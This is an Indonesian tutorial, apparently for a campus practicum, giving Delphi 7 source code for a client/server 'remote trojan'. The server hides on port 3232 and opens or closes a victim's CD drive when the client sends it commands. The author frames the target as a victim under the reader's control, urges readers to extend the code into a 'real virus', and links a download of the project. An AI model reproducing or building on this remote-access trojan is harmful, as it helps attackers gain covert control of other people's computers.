TROJAN VIRUS BY DELPHI 7 (TESTING)

//BINA SARANA INFORMATIKA//
//Coding By Communitas// Remix > Lhourens/
//Testing Praktikum Virus (target)

-------------------------------------------------------------------------------------------------------
Contoh Pembuatan Trojan Virus....

Untuk Form1....Client


unit Contoh_Virus_Trojan;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Label1: TLabel;
    Label2: TLabel;
    ClientSocket1: TClientSocket;
    procedure Button3Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Connecting(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Button1Click(Sender: TObject);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button3Click(Sender: TObject);
begin
ClientSocket1.Address := edit1.Text;
ClientSocket1.Active := true;
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Label2.Caption := 'Connection Trojan' ;
end;

procedure TForm1.ClientSocket1Connecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Label2.Caption := 'Connection Trojan Virus' ;
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Label2.Caption := 'DisConnect Trojan' ;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('Trojan Abrir Virus');
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
Label2.Caption :='Error On Connection';
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('Trojan Fechar Virus');
end;

end.

--------------------------------------------------------------------------------------------------------
Untuk Form2...Server....
unit TrojanForm2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, MMSystem;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
If Socket.ReceiveText = 'Trojan Abrir Virus' Then Begin
   mcisendstring('Set Cdaudio Door Open Wait',NIL,0,handle);
   End;

If Socket.ReceiveText = 'Trojan Fechar Virus' Then Begin
    mcisendstring('Set CdAudio door Closed Wait', NIL,0,handle);
    End;
end;

end.




Screen Shut Program Client.....

Screen Shut Program Server....

Screen Shut Intro...Trojan.....

Screen Shut ETIKA....

     Kegunaan dari project diatas adalah sebagai Remote Trojan...yang didesign dengan Port 3232, sengaja menggunakan Port tersebut agar korban tidak terkejut ataupun waoh........;
untuk itu saya memberikan tips sedikit tentang Trojan...yang saya dapat dari Hasil Belajar di Komunitas Delphi 7 Indonesia<><><>
Tugas Si Server Adalah Menerima Pesanan String Text 'Trojan Adrir Virus' dan 'Trojan Fechar Virus', Berupa IP ADDRESS dan Pintu Port 3232....Maka posisi korban ada dalam tangan kita....
Cuman sekedar Mengeluarkan dan Memasukkan CD/DVD ROOM Korban.....tapi kalau anda ingin menambahkan coding....itu lebih bagus, agar sekalian dijadikan VIRUS benaran.......

Sekian dan Terima Kasih;
By Lhourens.R.L

Silahkan Download Virus Trojan (Project)>>>||DOWNLOAD TROJAN BY DELPHI 7||